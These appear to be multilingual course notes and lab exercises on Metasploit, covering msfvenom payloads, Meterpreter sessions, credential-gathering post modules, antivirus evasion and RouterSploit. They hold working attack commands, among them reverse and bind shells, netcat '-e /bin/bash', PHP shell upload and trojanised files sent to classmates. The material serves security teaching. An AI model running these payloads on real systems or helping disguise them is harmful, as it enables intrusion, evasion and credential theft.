Metasploit

Introducción

Metasploit (https://www.metasploit.com) es una herramienta para penetrar máquina remotas mediante el uso de exploits. Un **exploit** es un programa (también llamado "shellcode") que explota una o varias vulnerabilidades en un software determinado para, en la mayoría de ocasiones, intentar ganar acceso a un sistema y tener un nivel de control sobre él. La acción concreta a realizar sobre el sistema "exploitado" viene definida por el payload utilizado. Un **payload** (también llamado "listener" o "rootkit") es un programa que acompaña a un exploit para realizar funciones especificas una vez el sistema objetivo es comprometido; normalmente es un shell más o menos "customizado". La elección de un buen payload es una decisión muy importante a la hora de aprovechar y mantener el nivel de acceso obtenido en un sistema. Como en muchos sistemas existen firewalls, antivirus y sistemas de detección de intrusos que pueden dificultar la actividad de algunos payloads, estos se suelen codificar mediante determinados "**encoders**", los cuales modifican la apariencia binaria del payload para así conseguir hacerlo pasar desapercibido en el sistema.

Metasploit dispone de una base de datos donde se encuentran clasificados centenares de exploits conocidos, clasificados en una jerarquía que los diferencia según error que vulneren, el sistema operativo, etc. La base de datos de exploits (https://github.com/offensive-security/exploit-database) puede actualizarse desde Internet o a través de la página web del programa. A partir de ella se puede elegir el exploit deseado y generarlo "ad-hoc" según los parámetros que se necesiten. En la generación de cualquier exploit, un paso casi siempre imprescindible es la vinculación de este con un determinado "payload", a elegir también de una lista que Metasploit ofrece de serie. De hecho, los mismos desarrolladores de Metasploit también son los responsables de un payload muy completo llamado Meterpreter.

No siempre es necesario generar la pareja exploit+payload(+encoder); si el atacante consigue que sea el propio usuario incauto el que ejecute el payload(+encoder) en el sistema (mediante el uso de enginería social -por ejemplo a través del envío al usuario incauto de un enlace al binario para que se lo descargue y lo ejecute pensando que es una foto de gatitos- o de cualquier otro método), la tarea del exploit (que básicamente es poder implantar el payload) ya nos la habrá realizado el usuario incauto y, por tanto, ya no será necesario generarlo: bastará solo con distribuir el payload(+encoder) camuflado dentro de algún programa aparentemente legítimo (o de cualquier otro tipo de fichero como una foto, un archivo multimedia, etc) y ya está.

Instalación

Metasploit ofrece un shell script que se encarga de detectar la versión y tipo de distribución del sistema actual para añadir el repositorio propio apropiado y así descargar los paquetes necesarios para realizar la instalación de todo el entorno. Los pasos para realizar esta instalación automatizada de Metasploit (en Ubuntu o Fedora Server) son:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall && sudo ./msfinstall

Los binarios instalados se ubicarán en la carpeta "/opt/metasploit-framework/bin", por lo que, o bien se añade esta carpeta al PATH del sistema o bien habrá que indicar la ruta exacta del binario a usar en cada momento. Por ejemplo, se puede actualizar la instalación de Metasploit en cualquier momento con uno de los binarios allá presentes, el comando ./msfupdate

> NOTA: Para que Metasploit funcione correctamente, es recomendable deshabilitar previamente el cortafuegos (*sudo systemctl --now disable ufw* en Ubuntu, *sudo systemctl –now disable firewalld* en Fedora) y, además, en Fedora, deshabilitar SELinux (*sudo sed -i "s/=enforcing/=disabled/g" /etc/selinux/config" && sudo systemctl reboot*).

Primeros pasos: creación de un payload con *msfvenom*

El comando que ofrece Metasploit para generar payloads (codificados) es ***msfvenom*** (se puede ejecutar como usuario normal*)* . Una vez generado, ya podremos enviarlo al sistema de la víctima para intentar lograr que ésta lo ejecute de alguna manera inadvertidamente. El comando *msfvenom* tiene los siguientes parámetros:

-p : Sirve para indicar el tipo de payload que deseamos generar. La lista de los tipos de payloads ofrecidos por Metasploit se puede obtener ejecutando el comando *msfvenom -l payloads*. Los nombres de cada payload mostrado en esta lista informan de dos características de ese payload en particular que debemos tener en cuenta a la hora de elegirlo: el sistema-víctima donde esperamos ejecutarlo y el modo de conexión que establecerá con la máquina-controladora del atacante. Así, nos podemos encontrar con payloads pensados para ser ejecutados en sistemas Linux de 64 bits (que es lo que probaremos más en los ejercicios), como por ejemplo, entre muchos otros,...:

linux/x64/meterpreter/bind_tcp
linux/x64/meterpreter/reverse_tcp
linux/x64/meterpreter_reverse_tcp
linux/x64/meterpreter_reverse_http
linux/x64/meterpreter_reverse_https
linux/x64/shell/bind_tcp
linux/x64/shell/reverse_tcp
linux/x64/shell_bind_tcp
linux/x64/shell_reverse_tcp
linux/x64/exec

NOTA: "Meterpreter" is the official Metasploit payload, which runs an interactive shell with its own commands. "Shell" runs the /bin/sh shell instead. "Exec" simply runs an specified command.

NOTA: A "reverse" shell (also known as a connect-back) requires the attacker to set up a listener first on his box, the target machine must act as a client connecting to that listener so that the attacker receives the shell. A "bind" shell is is the exact opposite: it's the kind that opens up a new service on the target machine, and requires the attacker to connect to it in order to get a session; this kind of shells are helpful in case attacker get disconnected from victim machine while it is still running: attacker can execute the same command and get back the session without any intervention of the victim to run the exploit again. A reverse shell, instead, it's the only opton if target machine is behind another private network, or if target machine's firewall blocks incoming connections to the shell, or the payload is unable to bind to the port it wants due to whatever the reason, etc.

NOTA: "http", "https" or "tcp" are the kind of tunnel where communication between payload and attacker's control software (often Metasploit's console) is done. Los payloads "*_reverse_http" y "*_reverse_https" permiten aparentar que el tráfico generado por Meterpreter es "normal" (por ser de tipo web): if the victim has blocked all the ports the payload can still communicate with attacker machine through (nearly always) uncensored ports 80 and/or 443. Moreover, since it is hidden in https the communication is encrypted and can be used to bypass deep-packet inspections.

NOTA: Generally, if the payload's name is splitted between a “/”, such as in "shell/tcp_bind", it is a "staged" payload. In this case, “tcp_bind” would be the stager (see below) and “shell” is the staged. Unfortunately, this convention is not used consistently in Metasploit, so one often has to go to the “info” section of the payload or find the directory it is in to determine if it is a staged payload or not ("stageless"). La diferencia entre los payloads "staged" y "stageless" (estos últimos también llamados "inline") está en que los primeros use tiny "trampolines" called "stagers" which fit into small exploitation spaces so, if the victim’s system exploitation buffer or other memory area is very small and only allows a small amount of code to be executed, first a small stager is placed in this memory area to set up the connection and then, this stager “pulls” the rest of the payload after this foothold is made on the victim system. These larger staged payloads include such complex payloads as the Meterpreter and VNC Injection, both of which include large and complex code. A non-staged shell, however, is sent over in one block: you just send shell in one stage.

...o en servidores web capaces de interpretar páginas PHP, como por ejemplo, entre muchos otros,...:

php/meterpreter/bind_tcp
php/meterpreter/reverse_tcp
php/meterpreter_reverse_tcp
php/exec

NOTA: En propers PDFs parlarem de les diverses formes d'introduir aquests tipus de payloas en servidors web

...o código Python...:

python/meterpreter/bind_tcp
python/meterpreter/reverse_http
python/meterpreter/reverse_https
python/meterpreter/reverse_tcp
python/meterpreter/reverse_tcp_ssl
python/meterpreter_bind_tcp
python/meterpreter_reverse_http
python/meterpreter_reverse_https
python/meterpreter_reverse_tcp
python/shell_bind_tcp
python/shell_reverse_tcp (equivalente a "cmd/unix/reverse_python")

NOTA: De forma similar encontramos otros payloads con código interpretado en shell, como "cmd/unix/reverse_bash" (directamente en Bash) "cmd/unix/reverse_perl" (mediante Perl)

python/shell_reverse_tcp_ssl
python/shell_reverse_udp

...o incrustados dentro del propio navegador...:

firefox/shell_bind_tcp
firefox/shell_reverse_tcp
firefox/exec

...o en sistemas Android específicamente, entre varios más,...:

android/meterpreter/reverse_http
android/meterpreter/reverse_https
android/meterpreter/reverse_tcp
android/meterpreter_reverse_http
android/meterpreter_reverse_https
android/meterpreter_reverse_tcp
android/shell/reverse_http
android/shell/reverse_https
android/shell/reverse_tcp

...o, lo más común, en sistemas Windows, donde podemos encontrar los mismos "payloads" que en sistemas Linux sólo que empezando su nombre con la palabra "windows", así: "windows/x64/meterpreter/bind_tcp", etc (además de otros que incluyen, por ejemplo, el uso de PowerShell - https://docs.microsoft.com/en-us/powershell - y más).

Después de indicar el tipo de payload a generar tras el parámetro *-p*, a continuación se deberán indicar (uno tras otro separados por espacios) los posibles parámetros que este requiera. Por ejemplo suelen ser muy habituales en los payloads de tipo "reverse" los parámetros LHOST y LPORT, los cuales sirven para indicar, respectivamente, la IP y puerto de la máquina atacante hacia donde el payload deberá realizar la conexión una vez integrado en la máquina víctima. En el caso de los payloads de tipo "bind" los parámetros más habituales son RHOST y LPORT para indicar, respectivament, la IP de la máquina víctima y el puerto local del atacante hacia donde el payload conectará. Para saber exactamente qué parámetros necesita un determinado tipo de payload, se puede ejecutar *msfvenom -p nombrePayload --payload-options*

NOTA: Es posible usar en vez de RHOST el parámetro RHOSTS para indicar múltiples víctimas. La sintaxis para indicar sus múltiples IPs es la misma que la utilizada en el comando nmap. También es posible usar, como alternativa, un fichero conteniendo la lista de IPs a atacar indicando el valor file://...

En el caso de usar un payload "stageless" de tipo "bind", en la máquina del atacante podríamos obtener un shell remoto simplemente ejecutando netcat en nuestra máquina así: *nc 192.168.1.101 5555* y suponiendo que en la víctima el payload hiciera algo similar a esto: *nc -vlp 5555 -e /bin/bash* (aunque también podríamos usar Meterpreter empleando el método explicado en el siguiente párrafo). En el caso de usar un payload "stageless" de tipo "reverse", podríamos obtener un shell remoto igualmente ejecutando netcat, pero esta vez así: *nc -lvp 5555* , y suponiendo que en la víctima el payload hiciera algo similar a esto: *nc 192.168.1.101 5555 -e /bin/bash* (aunque también podríamos usar Meterpreter tal como se explica en el siguiente párrafo),

En el caso de usar un payload "staged" no podemos usar netcat. En este caso, si usamos concretamente el payload Meterpreter, los pasos a seguir en la máquina atacante para disfrutar del acceso remoto proporcionado por el payload ya ejecutado en el sistema víctima son, tras ejecutar el comando *./msfconsole*:

msf5 > **use exploit/multi/handler**
msf5 exploit(handler) > **set payload nombre/payload/meterpreter/ejecutado**
(por ejemplo: linux/x64/meterpreter/reverse_tcp)
msf5 exploit(handler) > **set LHOST ip.maq.hacker** (o set RHOST ... si es de tipo "bind")
msf5 exploit(handler) > **set LPORT nºpuertoHacker** (o set RPORT ... si es de tipo "bind")
msf5 exploit(handler) > **run**

-f : Formato final del payload. La lista completa de formatos posibles se puede obtener ejecutando el comando *msfvenom -l formats*. Entre los más habituales encontramos "exe", "dll", "psh", "msi" o "vba" (para Windows) y "elf" (para Linux)" pero también tenmos "bash"/"sh", "c", "hex", "csharp", "java"/"jar"/"jsp", "py"/"python", "pl"/ "perl" o "raw" (usado para payloads de tipo "php"), etc.

-e : Opcional. "Encoder" a usar para camuflar el payload. La mayoría de ellos transforman el código Assembler del binario infectado de manera que sea más difícil encontrar marcas de la presencia del payload (los payloads, por lo general, suelen estar muy estudiados y por tanto son fácilmente reconocibles dentro de un código Assembler sin codificar). Se clasifican por la arquitectura de la máquina víctima (cada encoder solo suele ser útil para una determinada plataforma: x86, x86_64, etc). La lista de los tipos de payloads ofrecidos por Metasploit se puede obtener ejecutando el comando *msfvenom -l encoders*. Allí podremos ver de diferentes tipos según la arquitectura: "x86/...", "x64/..." (por ejemplo, "x64/xor", "php/base64",...). Por otro lado, también podemos añadir además el parámetro *-i nº*, donde *nº* indica el número de veces que se aplicará el "encoder" al "payload" (en principio, cuantas más, más difícil de detectar será)

NOTA: Si se quiere, no obstante, tener una protección más profesional, es más recomendable utilizar herramientas especializadas en el camuflaje de binarios anti-AV, como por ejemplo Veil (https://github.com/Veil-Framework/Veil)

NOTA: La manera más sencilla de saber si nuestro payload será detectado por las máquinas víctimas es buscando en el servicio Virus Total (https://(https://www.virustotal.com) el hash MD5 de nuestro payload (¡no lo subáis porque entonces Virus Total ya tendrá constancia de él!). Recordad que este hash se puede obtener mediante el comando *md5sum*.

-x : Opcional. Archivo original legítimo que se usará como plantilla para incrustar en su interior de forma invisible (a modo de "alien") el payload indicado previamente. Este archivo puede ser un ejecutable, una foto, etc. Por defecto msfvenom utiliza las plantillas ubicadas dentro de la carpeta "data/templates", en su directorio de instalación.

-o : Ruta del fichero distribuible a las víctimas con el payload generado en su interior

NOTA: El comando *msfvenom* tiene muchos otros parámetros opcionales más, como por ejemplo *-a* (para indicar la arquitectura donde se piensa ejecutar el payload -x64,...-; si no se indica esta se deduce del nombre del payload utilizado), *--platform* (para indicar el sistema donse se piensa ejecutar el payload -linux,windows,...-; si no se indica se deduce del nombre del payload utilitzado),etc. Se puede consultar una lista de todos los parámetros posibles con *msfvenom -h*

Si quisiéramos mantener una conexión entre un payload ejecutándose en una máquina víctima separada de nuestra máquina atacante por una red WAN (como Internet) es necesario realizar un par de ajustes:

*Como valor de LHOST hay que indicar la IP pública de nuestro router (este valor se puede obtener por ejemplo visitando http://whatismyip.com). Lo ideal sería utilizar un servicio como No-IP y usar en vez de ese valor, que puede variar en cualquier momento, el nombre DNS asociado, el cual siempre es fijo.
*Para que el valor de LPORT funcione, es necesario realizar una redirección de puertos en la configuración de nuestro router. Otra opción es utilizar soluciones que trabajan detrás de NAT, como ngrok (https://ngrok.com) o pagekite (https://pagekite.net)

Primeros pasos: creación y ejecución de un exploit con *msfconsole*

El comando que ofrece Metasploit para generar exploits, asociándoles un determinado payload (invocando para ello en ese momento internamente al comando *msfvenom*) y de ejecutarlos contra una víctima es **msfconsole**. Tal como ya hemos dicho, el hecho de generar un exploit+payload nos permitirá no tener que introducir manualmente dicho payload en el ordenador de la víctima (o hacer que un usuario incauto lo tenga que hacer por nosotros) sino que esa introducción será completamente transparente (y realizada de forma remota).

El comando *./msfconsole* se puede utilizar (siempre como usuario normal!) de forma interactiva entrando en una consola propia al ejecutarlo sin más o bien de forma no interactiva indicándole mediante el parámetro *-x* todos los comandos que necesite de un solo golpe (separados entre sí por ";"). En general utilizaremos la primera manera por darnos más posibilidades.

NOTA: La primera vez que se ejecuta *./msfconsole* nos hará un par de preguntas interactivas:
1) Si deseamos generar una base de datos local interna (se guardará dentro de la carpeta "~/msf4/db") para ir guardando las características de los diferentes exploits, payloads y ataques en general disponibles en nuestro Meterpreter (muy recomendable)
2) El nombre de usuario y contraseña para el acceso vía REST API a dicha base de datos, la cual se podrá utilizar yendo a https://localhost:5443/api/v1/auth/account
Per més informació, consulteu https://github.com/rapid7/metasploit-framework/wiki/Metasploit-Web-Service

Los comandos internos de la consola más habituales son:

?	: Muestro lista de comandos disponibles
help comando	: Muestro ayuda del comando indicado
search type:exploit platform:windows adobe pdf	: Busco en la base de datos local todos los exploits disponibles para sistemas Windows utilizando como filtros las palabras "adobe" y "pdf"
show exploits	: Muestro lista de exploits disponibles en BD local
show payloads	: Muestro lista de payloads disponibles en BD local
show encoders	: Muestro lista de encoders disponibles en BD local
show auxiliary	: Muestro lista de los módulos auxiliares " " "
grep palabra comando	: Busca palabra en la salida del comando indicado (normalmente de tipo *show* o *info*)
use nombreExploit	: Elijo el exploit indicado. A partir de aquí:
show options	: Muestro lista de opciones del exploit elegido
show targets	: Muestro la lista de sistemas operativos vulnerables a ese exploit (si es de tipo "multi/browser" o similar)
info	: Muestro toda la información sobre ese exploit
set payload nombre/payload	: Asocio un payload concreto a ese exploit
set nombreOpcion valor	: Establezco un valor concreto a la opción indicada
run	: Ejecuto el exploit. Haciendo *run -z* se ejecutará en segundo plano
sessions -l	: Listo las sesiones remotas abiertas
sessions -i nº	: Entro en el shell/payload de la sesión indicada
background	: Pongo la sesión activa en 2º plano para volver al prompt de msfconsole
back	: Vuelvo al prompt inicial de msfconsole deshaciendo la configuración o contextodel exploit que estuviera a medias
connect ip nºpuerto	: Equivalente al cliente netcat sin salir de msfconsole

NOTA: Metasploit has seven different types of modules. These are: "payloads", "exploits", "encoders", "post", "nops", "auxiliary" and "evasion". "Post" are modules that we can use post exploitation of the system. "Nops" are short for No OperationS and it simply means “do nothing”; this can be crucial in creating a buffer overflow. "Auxiliary" includes numerous modules that don’t fit into any of the other categories: these include such things are fuzzers, scanners, denial of service attacks, and more. "Evasion" permeten generar "mutacions" dinàmiques als payloads que dificulten la seva detecció per antivirus.

Primeros pasos: Uso de Meterpreter

Meterpreter (https://github.com/rapid7/metasploit-payloads) automatically self-attaches to a target process while it is running in memory, leaving no trace of its existence on the hard drive or file system. To know which is the current target process you must execute *getpid* command. However, very often you will want to attach Meterpreter to another process with more privileges on the system and with an more lastingexpected time-life (like svchost.exe in Windows, for instance). To achieve this, you can first get the list of current processes in target system with *ps* command (note it's possible to filter *ps*'s output with regular expressions, like *ps ^f.** , for instance) and then, "migrate" to selected new target process with *migrate nºPID* command.

Other interesting commands are:

sysinfo
getuid
pwd
cd carpeta
ls
lpwd
lcd carpeta
mkdir carpeta
rmdir carpeta
upload [-r] ficheroOcarpetaMaqHacker ... carpetaMaqVictima
download [-r] ficheroOcarpetaMaqVictima... carpetaMaqHacker
cat fitxer
edit fitxer (obre l'editor per defecte de la màquina atacant, que ve donat per $EDITOR -típicament vi-)
kill nºPID
execute -f /ruta/programa [-a "arg1 arg2 ..."]
ipconfig
shutdown o *reboot*
shell
run algun/modulo/de/tipo/post
resource fitxer.txt (executa en *pwd* un conjunt de comandes Meterpreter escrites en el fitxer indicat, que estarà ubicat a *lpwd*)
exit

A more complete list can be found in https://www.hacker-arise.com/ultimate-list-of-meterpreter-command or https://null-byte.wonderhowto.com/how-to/hack-like-pro-ultimate-command-cheat-sheet-for-metasploits-meterpreter-0149146. With *help* you can obtain the list of available commands in current Meterpreter session.

EXERCICIS:

1.-a) A la màquina virtual on hagis instal.lat Metasploit (i que tingui la seva tarja de xarxa en mode "adaptador pont") executa (com usuari normal, no cal ser root) la comanda *msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=ip.Maq.Virt -f elf -o ~/jajaja* a la teva màquina virtual

> NOTA: Executant la comanda *msfvenom -p linux/x64/meterpreter/reverse_tcp -l payloads* pots observar que, per defecte, LPORT val 4444, així que si ja ens està bé aquest valor no cal canviar-ho

b) Copia el binari jajaja de la màquina virtual a la màquina real (que serà la màquina a "infectar") de la manera que vulguis (via SSH, via mail, via pendrive, via netcat, etc) i dóna-li permisos d'execució.

c) A la màquina virtual executa (com usuari normal, no cal ser root) la comanda *msfconsole* , i a la consola interactiva escriu les comandes necessàries per restar a l'espera de la connexió del payload. És a dir, escriu:

> msf5 > **use exploit/multi/handler**
> msf5 exploit(handler) > **set payload linux/x64/meterpreter/reverse_tcp**
> msf5 exploit(handler) > **set LHOST ip.Maq.Virt**
> msf5 exploit(handler) **> show options**
> msf5 exploit(handler) > **run**

d) Fes doble clic sobre el binari "jajaja" a la màquina real i comprova que, inmediatament, apareix una consola Meterpreter dins de msfconsole. Executa les següents comandes Meterpreter i digues què fan:

> *sysinfo*
> *getuid*
> *pwd*
> *cd /var*
> *ls*
> *lpwd*
> *lcd /var*
> *mkdir pepe*
> *rmdir pepe*
> *upload /etc/fstab /var*
> *download /etc/fstab /var*
> *cat /etc/passwd*
> *edit /etc/passwd*
> *kill 1234*
> *ipconfig*
> *shell*
> *exit*

> NOTA: Si surts de Meterpreter, per tornar a entrar, a la màquina víctima hauràs d'executar un altre cop el binari "jajaja" i a la consola de Metasploit caldrà simplement que escriguis *run* un altre cop (perquè les dades de configuració del darrer exploit emprat es guarden). De totes formes, si no es vol que en tancar el Meterpreter el binari "jajaja" deixi de funcionar (i per tant, que es perdi la connexió ja establerta per un eventual atac futur), es pot afegir com opció del payload "linux/x64/meterpreter/reverse_tcp" (i de molts altres), abans d'executar la comanda *run* , aquesta: *set ExitOnSession false*

> NOTA: Para que en la salida del comando *ps* de la máquina víctima salga nuestro payload con otro nombre, al incluirlo en la mayoría de exploits se les puede añadir la opción *PayloadProcessCommandLine="monkey -n 123"* Para saber si esto se puede hacer con el exploit particular que tengamos seleccionado se puede ejecutar el comando **show advanced** para ver las opciones avanzadas más allá de las mostradas por *show options*

e) Executa la comanda *ss -tn* a la màquina real (la víctima) i observa quin port hi manté obert el binari jajaja mentre està en marxa. ¿Per què creus que és aquest? Pista: pensa en els possibles tallafocs. D'altra banda, obre el Wireshark de la màquina real i observa quin tipus de tràfic apareix entre aquesta i la màquina virtual (l'atacant). ¿És d'algun tipus reconegut?

2.-a) Crea a la màquina virtual (la màquina atacant) un arxiu anomenat "pepe.rc" amb el següent contingut:

use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST ip.Maq.Virt
run

b) Executa la comanda *msfconsole -r pepe.rc* i seguidament fes doble clic sobre el binari "jajaja" a la màquina real i comprova que, inmediatament, apareix una consola Meterpreter dins de msfconsole igual que passava a l'exercici anterior.

NOTA: També es pot executar l'script "pepe.rc" ja dins de mfsconsole amb la comanda interna *resource pepe.rc*

c) La gràcia de mantenir una sessió Meterpreter no només és poder executar les comandes que proporciona sinó també fer ús dels mòduls de "post-explotació" que hi ha disponibles a Metasploit. Amb la sessió Meterpreter oberta, executa les següents comandes i digues què n'obtens:

run post/linux/gather/enum_system
run post/linux/gather/enum_protections
run post/linux/gather/enum_network
run post/linux/gather/enum_configs
run post/linux/gather/checkvmuse
run post/multi/gather/firefox_creds
run post/multi/gather/ssh_creds
run post/linux/manage/iptables_removal

El problema principal dels exercicis anteriors és que hem hagut de copiar i executar manualment el binari "jajaja" en la màquina víctima. L'ideal seria que això es fes de forma automàtica. Però per això la màquina víctima ha de proporcionar un mètode vulnerable per deixar introduir-se el payload i executar-lo; això se sol aconseguir explotant alguna vulnerabilitat d'algun determinat servei (SSH, HTTP, NFS, etc) que "obri la porta".

3.-a) Executa a la teva màquina virtual la comanda *msfvenom -p php/meterpreter/reverse_tcp LHOST=ip.Maq.Virt -f raw -o shell.php* i seguidament observa el contingut del fitxer "shell.php" generat. ¿Què veus?

NOTA: Recordeu que podem fer servir altres tipus de "payload" capaç igualment d'obrir una sessió Meterpreter depenent del tipus de víctima, com ara python/meterpreter/reverse_tcp. O fins i tot android/meterpreter/reverse_tcp. En aquest darrer cas, no obstant, we also need to sign certificate because Android mobile devices are not allowing installing apps without the appropriately signed certificate: android devices only install the signed .apk files. For signing the apk file, you can use jar signer, keytool and zipalign tools

b) ¿ Per a què voldries combinar el resultat anterior amb l'execució, dins de *msfconsole*, del mòdul "auxiliary/scanner/http/http_put" (amb la configuració adient, comprova-la amb *show options*...les úniques opcions que necessites establir són *FILEDATA file://ruta/fitxer/shell.php*, *RHOSTS* i, opcionalment, *PATH* i *FILENAME*) contra el servidor Apache de la teva màquina real? Prova-ho. ¿Pots comprometre el servidor web? Si és que sí, ¿pots entrar en una sessió Meterpreter?

NOTA: Podeu trobar més informació a https://www.hackingtutorials.org/exploit-tutorials/metasploitable-3-exploiting-http-put

c) ¿Quina diferència observes en el contingut dels payloads generats per les següents comandes (i mostrat a pantalla): *msfvenom -p cmd/unix/reverse_python -f raw , msfvenom -p python/shell_reverse_tcp -f raw i msfvenom -p python/shell_reverse_tcp -f py*

d) Ara prova d'executar a la màquina virtual la comanda *msfvenom -p cmd/unix/reverse_bash LHOST=ip.Maq.Virt -f raw -o shell.sh* i seguidament observa el contingut del fitxer "shell.sh" generat. ¿Què veus? ¿Com el faries servir a la màquina víctima?

> NOTA: També podríem haver fet servir el payload "cmd/unix/reverse_python"

4.-a) ¿Per a què serviria aquest payload: *windows/vncinject/reverse_tcp* ? Pots fer servir la comanda *info* de msfconsole

> NOTA: Per provar exploits en sistemes Windows es pot descarregar una màquina Windows oficial des d'aquí: https://developer.microsoft.com/en-us/windows/downloads/virtual-machines

b) Suposant que ja has compromés una màquina víctima Windows ¿per a què serviria el mòdul *post/windows/capture/lockout_keylogger*? Pots fer servir la comanda *info* de msfconsole

> NOTA: Un altre mòdul amb similars objectius és post/windows/capture/keylog_recorder

c) ¿Per a què serveixen els següent mòduls? Pots fer servir la comanda *info* de msfconsole

auxiliary/scanner/mysql/mysql_version
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/ssh/ssh_version
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/http/http_version
auxiliary/scanner/http/http_login
auxiliary/scanner/http/ssl
auxiliary/scanner/http/webdav_scanner (per saber què és webdav pots veure *https://desarrolloactivo.com/articulos/webdav*)
auxiliary/scanner/http/webdav_website_content
auxiliary/scanner/http/robots_txt (per saber per a què serveix el fitxer "robots.txt" pots veure *http://www.robotstxt.org*)
auxiliary/scanner/http/dir_listing, *auxiliary/scanner/http/dir_scanner* i *auxiliary/scanner/http/files_dir*
auxiliary/scanner/http/wordpress_login_enum
auxiliary/scanner/smb/smb_version
auxiliary/scanner/smb/smb_login
auxiliary/scanner/smb/smb_lookupsid
auxiliary/scanner/smb/smb_enumshares i *auxiliary/scanner/smb/smb_enumusers*
auxiliary/scanner/vnc/vnc_none_auth
auxiliary/sniffer/psnuffle
auxiliary/server/browser_autopwn2
auxiliary/server/capture/http
auxiliary/server/capture/http_basic
auxiliary/server/capture/http_javascript_keylogger
auxiliary/server/capture/mysql o *auxiliary/server/capture/postgresql*
auxiliary/server/capture/imap o *auxiliary/server/capture/smtp*
auxiliary/server/capture/smb
auxiliary/server/capture/vnc
auxiliary/dos/dhcp/isc_dhcpd_clientid
auxiliary/dos/http/apache_range_dos
exploit/multi/script/web_delivery
exploit/multi/misc/openoffice_document_macro
exploit/multi/samba/usermap_script

> NOTA: La majoria dels mòduls anteriors només necessiten establir l'opció RHOSTS per indicar el servidor (o xarxa) a investigar però en algun cas necessiten alguna configuració addicional. Recomano executar *show options* per assegurar-se

Un problema que té l'accedir amb Meterpreter a la màquina víctima gràcies a l'execució del binari jajaja és que aquest accés es fa sent l'usuari que ha executat dit binari. Per tant, si aquest usuari no és administrador de la màquina, gaire cosa no podrem fer. Afortunadament, Metasploit incorpora uns quants mòduls de "post-explotació" que intenten, mitjançant l'aprofitament de vulnerabilitats conegudes, "escalar privilegis" i obrir una sessió com usuari administrador a la màquina atacada. Aquest és, de fet, l'objectiu primordial de qualsevol atac un cop trencada la barrera d'accés: convertir-se en "root" d'alguna manera no prevista. L'exercici següent intentarà aconseguir això a la màquina real.

5.-a) Fes els passos necessaris per entrar en una sessió Meterpreter a la teva màquina atacant i seguidament posa la sessió Meterpreter en segon pla amb la comanda *background*

b) Executa algun exploit d'escalada de privilegis amb la comanda *use exploit/linux/local/...* (on els punts suspensius pot ser el nom de qualsevol exploit que vegis que podria funcionar...recorda que els pots llistar amb *show exploits* i pots esbrinar-ne més amb *info*). Cada exploit tindrà els seus paràmetres particulars a establir, però un que serà obligatori és la vinculació amb la sessió Meterpreter que tinguem en marxa en aquell moment (en principi, serà la nº1 perquè no n'hi cap més). Aquesta vinculació s'estableix amb l'ordre *set session 1*. Un cop establerts tots els paràmetres, per procedir a l'intent d'escalada caldrà executar *run*

c) Repeteix l'apartat anterior amb diversos exploits a veure si amb algun obten èxit

d) Suposant que ja haguessis aconseguit escalar privilegis en una màquina víctima, ¿per a què creus que serviria executar-hi llavors les següents comandes Meterpreter (on l'script "infecter.sh" seria un de molt similar al mostrat aquí: https://thomas-leister.de/en/how-to-import-ca-root-certificate) ?
meterpreter> upload "/root/.bettercap/ca.pem"
meterpreter> upload "/root/.bettercap/infecter.sh"
meterpreter> shell
apt install libnss3-tools
/root/.bettercap/infecter.sh

6.-a) Segueix els passos indicats a https://blog.rapid7.com/2012/02/21/metasploit-javascript-keylogger/ fent servir la web "Demo". Demana a un company que accedeixi a aquesta web. ¿Què passa? ¿Què és el que fa aquest mòdul a la víctima per tal de poder funcionar?

b) Segueix els passos indicats a https://www.offensive-security.com/metasploit-unleashed/client-side-exploits i envia el PDF infectat a un company. Comprova si resulta compromès

NOTA: També pots provar amb algun altre mòdul dels inclosos dins de "exploit/multi/fileformat" o més en concret, "exploit/multi/misc/openoffice_document_macro"

c) Segueix els passos indicats a https://www.offensive-security.com/metasploit-unleashed/binary-linux-trojan i envia el paquet deb infectat a un company. Comprova si resulta compromès.

7.-¿Qué expliquen els articles https://medium.com/@woj_ciech/command-and-control-server-in-social-media-twitter-instagram-youtube-telegram-5206ce763950 i https://pentestlab.blog/2017/09/26/command-and-control-twitter ? ¿Quina relació tenen amb l'eina https://github.com/maldevel/gdog ?

8.-a) ¿Per a què serveix aquest programa (http://www.angusj.com/resourcehacker) i com el faries servir per tal de què un fitxer executable Windows no tingués la icona d'executable i sí un thumbnail d'una foto? (per així enganyar a l'usuari fent-lo creure que aquell fitxer és una foto i no pas un executable)

b) Llegeix https://github.com/rapid7/metasploit-framework/wiki/Python-Extension i digues què s'hi explica

Router exploitation works by breaching the security of a router, bypassing the administrative login page, and accessing administrative features. A skilled attacker can then target the existing firmware that runs the router in a practice called "rootkitting" in which a custom firmware is dropped into the router to enable advanced malicious features.Depending on the goals and resources of an attacker, this can include spying on the user and any connected devices, injecting malware into the browser to exploit connected devices, enabling advanced spear phishing attacks, and routing illegal traffic for criminal activities through exploited routers. You can see information about last bugs found in routers in https://routersecurity.org/bugs.php

9.-.RouterSploit (https://github.com/threat9/routersploit) is a Python program which automates most of the tasks associated with compromising a router and its commands will be familiar to anyone used to the Metasploit framework. It contains scanning and exploit modules. Instal.la'l a la màquina virtual executant les següents comandes:

sudo apt install python3-pip git
git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install setuptools
python3 -m pip install -r requirements.txt

> NOTA: To upgrade you can do: *cd routersploit && git pull*

Seguidament, executa'l així: *cd routersploit && python3 rsf.py* Les comandes internes bàsiques són:

> *show all*
> *use scanners/autopwn*
> *show options*
> *set ...*
> *use exploits/...*
> *run*

Prova-les amb la porta d'enllaç del centre (192.168.15.10). If the exploit is successful, you should be greeted with internal configuration settings that can leak the login and password of users, default passwords, and device serial number, among other settings that allow you to compromise the router. Other modules allow you to remotely inject code or directly disclose the router password. Which you can run depends on what the target router is vulnerable to.

> NOTA: Although Autopwn is a convenient feature, it tries a lot of different exploits and thus is very noisy on the network. The preferred option is to scan your target, do some recon, and only run the relevant modules for the manufacturer of the target router

Una vez obtenido acceso, es útil tener una lista de ficheros y comandos habituales para obtener información sobre en qué sistema estamos. En https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation y también en https://www.rebootuser.com/?p=1623 hay una bastante completa, la cual básicamente pretender contestar a las siguientes preguntas:

- What is the distribution type, and version?
- What is the Kernel version?
- What services are running, and in which user-context?
- What are the versions of the running services?
- What applications are installed, and what versions?
- Do any of these services have vulnerable plugins or configurations?
